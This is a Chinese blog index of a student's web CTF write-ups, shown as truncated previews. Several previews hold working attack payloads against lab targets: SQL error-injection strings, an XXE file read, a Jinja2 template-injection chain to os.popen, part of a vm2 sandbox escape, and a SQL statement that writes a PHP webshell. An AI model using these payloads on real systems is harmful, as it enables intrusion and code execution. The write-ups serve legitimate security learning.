![](https://img-blog.csdnimg.cn/20201014180756925.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
ctf做题记录
本人ctf学习过程中记录的有学习意义的题目
fmyyy1
最废物的web手
展开
-
ctfshow nodejs篇
334源码给了 登录成功就能拿到flagvar express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item原创 2021-07-16 22:57:09 · 1027 阅读 · 1 评论 -
ctfshow web40利用session进行rce
期末考考完了应该继续学习网安了。之前一段时间去尝试挖cnvd,也是混到了自己的第一张cnvd证书,虽然是没有什么技术含量的洞,但也让我觉得很开心。放出来分享一下但证书都是次要的,重要的是自己能力的提升。之前买了ctfshow的vip题,遇到了一个之前不知道的trick,记录一下。源码<?phpif(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&原创 2021-07-08 14:14:40 · 450 阅读 · 0 评论 -
[HarekazeCTF2019]Sqlite Voting
看提示应该是sqlite注入可以直接下载到数据库结构和源码DROP TABLE IF EXISTS `vote`;CREATE TABLE `vote` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` TEXT NOT NULL, `count` INTEGER);INSERT INTO `vote` (`name`, `count`) VALUES ('dog', 0), ('cat', 0), ('zebra', 0).原创 2021-05-27 20:34:07 · 464 阅读 · 1 评论 -
[网鼎杯 2020 玄武组]SSRFMe
第一次做redis相关的题目。主要考点是redis主从复制rce<?phpfunction check_inner_ip($url){ $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_pars原创 2021-05-27 16:01:21 · 420 阅读 · 2 评论 -
[HITCON 2016]Leaking
"use strict";var randomstring = require("randomstring");var express = require("express");var { VM} = require("vm2");var fs = require("fs");var app = express();var flag = require("./config.js").flagapp.get("/", function(req, res) { res.he原创 2021-05-25 20:31:26 · 321 阅读 · 1 评论 -
[WMCTF2020]Make PHP Great Again
源码<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once $_GET['file'];}解法一这一看就是session.upload_progress文件包含import ioimport requestsimport threadingsessid = 'bbbbbbb'data = {"cmd":"system('cat flag.ph原创 2021-05-25 14:53:30 · 1264 阅读 · 0 评论 -
[XDCTF 2015]filemanager
www.tar.gz下载到源码。结构审计后发现有很多对数据库的操作,猜测存在注入。文件名采取白名单对后缀名过滤,不能直接上传php文件,upload.php里面对文件名进行了addslashes转义,不存在直接注入。commom.inc.php中对所有请求参数也进行了转义看到rename.php<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午9:39 */requir原创 2021-05-23 18:37:19 · 618 阅读 · 2 评论 -
[极客大挑战 2020]Greatphp
知识点php原生类的利用源码<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($th原创 2021-05-22 16:15:45 · 1358 阅读 · 3 评论 -
[RootersCTF2019]babyWeb
提示过滤了 union sleep 单双引号 or和benchmark。很明显的报错注入。最后?search=1 and (updatexml(1,concat(0x7e,((select group_concat(uniqueid) from users)),0x7e),1));?search=1 and (updatexml(1,concat(0x7e,(substr((select group_concat(uniqueid) from users),32,50)),0x7e),1));8.原创 2021-05-21 17:22:11 · 276 阅读 · 1 评论 -
[NESTCTF 2019]Love Math 2
源码 <?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist = [' ', '\t',原创 2021-05-20 19:46:26 · 689 阅读 · 0 评论 -
[RCTF 2019]Nextphp
场景源码就相当于一个一句话木马。肯定没这么简单,先看看phpinfodisable_functions里禁掉了不少函数刚开始想的是用file_put_contents函数写shell再用蚁剑插件绕过disable_functions,但测试后不行,不过也得到了一些有用的信息。有个preload.php<?phpfinal class A implements Serializable { protected $data = [ 'ret' => null原创 2021-05-18 19:19:17 · 825 阅读 · 1 评论 -
[CISCN2019 华东北赛区]Web2
这次ciscn差点爆0了。。。还是多练练吧。注册账号登录,看到投稿和反馈两个页面。发表查看直接将我们输入的文章内容显示在了页面上,猜测存在xss。测试没有内容也没有弹窗看源码我们的语句被放入了源码,但似乎被编码了。导致没有执行。这个反馈界面应该是模拟管理员点击链接的过程。...原创 2021-05-17 21:32:07 · 698 阅读 · 3 评论 -
[XNUCA2019Qualifier]EasyPHP
文章目录非预期解一<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_G原创 2021-05-13 18:56:35 · 895 阅读 · 0 评论 -
[SUCTF 2018]annonymous
<?php$MY = create_function("","die(`cat flag.php`);");$hash = bin2hex(openssl_random_pseudo_bytes(32));eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}");if(isset($_GET['func_name'])){ $_GET["func_name"](); die();}原创 2021-05-12 20:05:02 · 415 阅读 · 1 评论 -
[N1CTF 2018]eating_cms
场景抓个包看到直接给出了sql语句,测试之后发现很难饶过,访问register.php注册账号进入。url里的page参数很容易想到文件读取,用伪协议读源码。php://filter/read=convert.base64-encode/resource=user主要是user.php和function.phpuser.php<?phprequire_once("function.php");if( !isset( $_SESSION['user'] )){ Header原创 2021-05-12 17:43:47 · 828 阅读 · 10 评论 -
[NPUCTF2020]ezlogin
XPATH注入学习一道xpath注入题,又是陌生的知识,学习一下。原创 2021-05-11 13:59:50 · 491 阅读 · 1 评论 -
[SUCTF 2018]MultiSQL
场景注册登录进入用户信息页面。看到url中多了id参数,修改。做到这已经知道是sql注入题。测试后知道这里可以异或布尔盲注和堆叠注入,但后面就注不出来了。fuzz后发现过滤了union,select之类的关键字。参考wp,这里要用预处理写shell。str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"len_str=len(str)for i in r原创 2021-05-07 17:45:28 · 719 阅读 · 2 评论 -
[GWCTF 2019]mypassword
场景注册账号登录看到有个反馈刚开始猜测是二次注入,但试了半天没成功啊,去看了wp才知道是xss。xss题遇到的实在是不多,通过这题学习一下。源码里有login.js,因为直接注册账号登录进去了所以直接被我忽略了。//login.jsif (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i原创 2021-05-06 22:13:57 · 303 阅读 · 1 评论 -
[b01lers2020]Life on Mars
点击抓包看到对文件的请求。刚开始以为是文件读取,试了半天发现没啥用,只能转一下思路测试后是sql注入。order by之后是两列在响应页面的最下面有我们注入的回显。,而且没有一点过滤,整数型注入。放最后的注入amazonis_planitia union select 1,group_concat(id,code) from alien_code.code...原创 2021-05-06 08:26:27 · 247 阅读 · 1 评论 -
[NCTF2019]Fake XML cookbook
xml的题目放着好久了没做,做一下顺便学习。浅谈XML实体注入漏洞是个登录场景,登录抓包。很明显的xml注入<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]><user><username>&admin;</username><password>12345原创 2021-04-27 20:17:27 · 150 阅读 · 0 评论 -
[ISITDTU 2019]EasyPHP
这题有点儿复杂参考上来就是源码<?phphighlight_file(__FILE__);$_ = @$_GET['_'];if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close,原创 2021-04-27 19:16:40 · 968 阅读 · 1 评论 -
bestphp‘s revenge
上来就是源码<?phphighlight_file(__FILE__);$b = 'implode';call_user_func($_GET['f'], $_POST);session_start();if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name'];}var_dump($_SESSION);$a = array(reset($_SESSION), 'welcome_to_the_lctf2018')原创 2021-04-25 21:27:41 · 169 阅读 · 0 评论 -
[SUCTF 2018]GetShell
场景if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char"); } } } 提示让我们上传shell,但又有黑名单过滤。f原创 2021-04-25 18:07:43 · 437 阅读 · 0 评论 -
[SWPU2019]Web4
场景点登陆没反应,注册提示未开发,猜测sql注入。抓包在username里添加单引号报错,闭合后提示:参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。PDO场景下的sql注入import timeimport requestsimport jsondef str_to_hex(str): return ''.join(hex(ord(c)).replace('0x', '') for c in str)def binary(iterator,原创 2021-04-25 15:36:07 · 469 阅读 · 0 评论 -
[GXYCTF2019]StrongestMind
考简单的python脚本编写import reimport requestsfrom time import sleepdef count(): s = requests.session() url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/' match = re.compile(r"[0-9]+ [+|-] [0-9]+") r = s.get(url) for i i.原创 2021-04-20 22:05:09 · 657 阅读 · 0 评论 -
[MRCTF2020]Ezaudit
场景(说实话现在看到这种具体场景的都会心脏骤停一下)扫路径扫到个www.zip<?php header('Content-type:text/html; charset=utf-8');error_reporting(0);if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_原创 2021-04-20 16:31:27 · 307 阅读 · 0 评论 -
[ZJCTF 2019]NiZhuanSiWei
浙江人,正好做一下本省的题目场景就是源码<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."&原创 2021-04-20 14:42:51 · 126 阅读 · 0 评论 -
[NPUCTF2020]ezinclude
直接读源码抓包直接传递hash值?pass=fa25e54758d5d5c1927781a6ede89f8a看到响应中多了内容访问后看到是文件包含用伪协议读flflflflag.php<html><head><script language="javascript" type="text/javascript"> window.location.href="404.html";</script><tit原创 2021-04-20 14:09:23 · 434 阅读 · 0 评论 -
[SCTF2019]Flag Shop
场景第一反应是修改价格或者修改钱的数量,抓包。将cookie用jwt解码一下将jkl修改成价格后编码发送没有反应。应该还缺点什么。参考wp,访问robots.txt,看到/filebakrequire 'sinatra'require 'sinatra/cookies'require 'sinatra/json'require 'jwt'require 'securerandom'require 'erb'set :public_folder, File.dirname(__FI原创 2021-04-20 08:12:09 · 455 阅读 · 0 评论 -
[GYCTF2020]Easyphp
反序列化字符逃逸。场景www.zip下载源码。下载到4个php文件。#login.php<?phprequire_once('lib.php');?><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>login</title><center> <form action="login.php" method="post原创 2021-04-19 17:24:12 · 958 阅读 · 0 评论 -
[网鼎杯2018]Unfinish
场景既然有login.php那就会有register.php,访问。注册一个账号进去。登录进去后看到我们的用户名了。猜测在用户名处存在二次注入,再注册一个账号。用户名变成了0,证明存在二次注入。fuzz之后发现逗号,information等许多关键字被过滤了。绕过方法:mysql中,+只能当做运算符。执行select '1'+'1a'时 结果执行select '0'+database();编程了0,但我们可以用ascii编码进行计算。select '0'+ascii(原创 2021-04-15 18:52:15 · 2232 阅读 · 2 评论 -
[CISCN2019 华东南赛区]Double Secret
场景刚开始就被卡住了,给的场景跟空白页没有差别了,源码下载不到,路径扫到个robots.txt但内容没有什么用,太菜了只能看大佬的wp。原来secret页面是可以访问的。这里要传参,然后提示会加密。传大点就会报错泄露了一点源码 if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTrea原创 2021-04-15 15:59:52 · 244 阅读 · 0 评论 -
[RootersCTF2019]I_<3_Flask
场景猜测是jinja2的模板注入,用Arjun工具爆破参数下载地址找到了参数name传参?name={{7*'7'}},注入成功这题没有过滤,直接用常规的注入语句即可?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').pop原创 2021-04-15 08:50:12 · 695 阅读 · 0 评论 -
[GYCTF2020]EasyThinking
题目提示是thinkphp框架。随便输个路径百度搜一下这个版本的TP找到了漏洞:ThinkPHP6任意文件操作漏洞分析看了wp,扫路径能扫到www.zip下载到源码,审计部分就不写了。我们注册账号,并将session改为长度为32的php文件登录成功后进入搜索界面,写个搜索个木马,会保存在我们的session文件中。路径是runtime/session/sess_1234567891234567891234567890.php蚁剑连接成功后看到根目录下有flag和readflag,.原创 2021-04-14 17:33:35 · 461 阅读 · 0 评论 -
[watevrCTF-2019]Cookie Store
题目应该是让我们买到$100的Flag Cookie,但我们只有$50点击购买抓包对session base64解码将50改为100编码后再发送。再对响应页面的session进行解码拿到flag。原创 2021-04-14 11:06:26 · 102 阅读 · 0 评论 -
[NCTF2019]SQLi
学到了新的sql注入知识。场景看到了查询语句。访问robots.txt看到有hint看到了黑名单。$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|slee原创 2021-04-13 22:29:41 · 130 阅读 · 0 评论 -
[WUSTCTF2020]CV Maker
这道题比我想象中要简单。注册账号登录。有一个上传头像界面,猜测文件上传,直接上传一句话木马就成功了。菜刀链接拿到flag原创 2021-04-13 20:00:53 · 293 阅读 · 0 评论 -
[HFCTF2020]EasyLogin
对js不是很了解,这题边看wp边学。是一个登录界面。注册一个账号登录flag没有显示,看源码。看到了app.js,访问可看到源码。/** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */function login() { const username = $("#username").val(); const password = $("#password").val(); const token =原创 2021-04-13 18:59:23 · 2018 阅读 · 0 评论 -
[HFCTF2020]JustEscape
场景最低行提示不是php,测试过后发现是nodejs。是vm2的沙箱逃逸问题。github上有现成的pochttps://github.com/patriksimek/vm2/issues/225"use strict";const {VM} = require('vm2');const untrusted = '(' + function(){ TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor(原创 2021-04-13 14:26:58 · 1114 阅读 · 2 评论 -
[BJDCTF2020]EzPHP
场景看源码base32解码后得到1nD3x.php访问得源码 <?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B>This is a very原创 2021-04-11 16:19:26 · 167 阅读 · 0 评论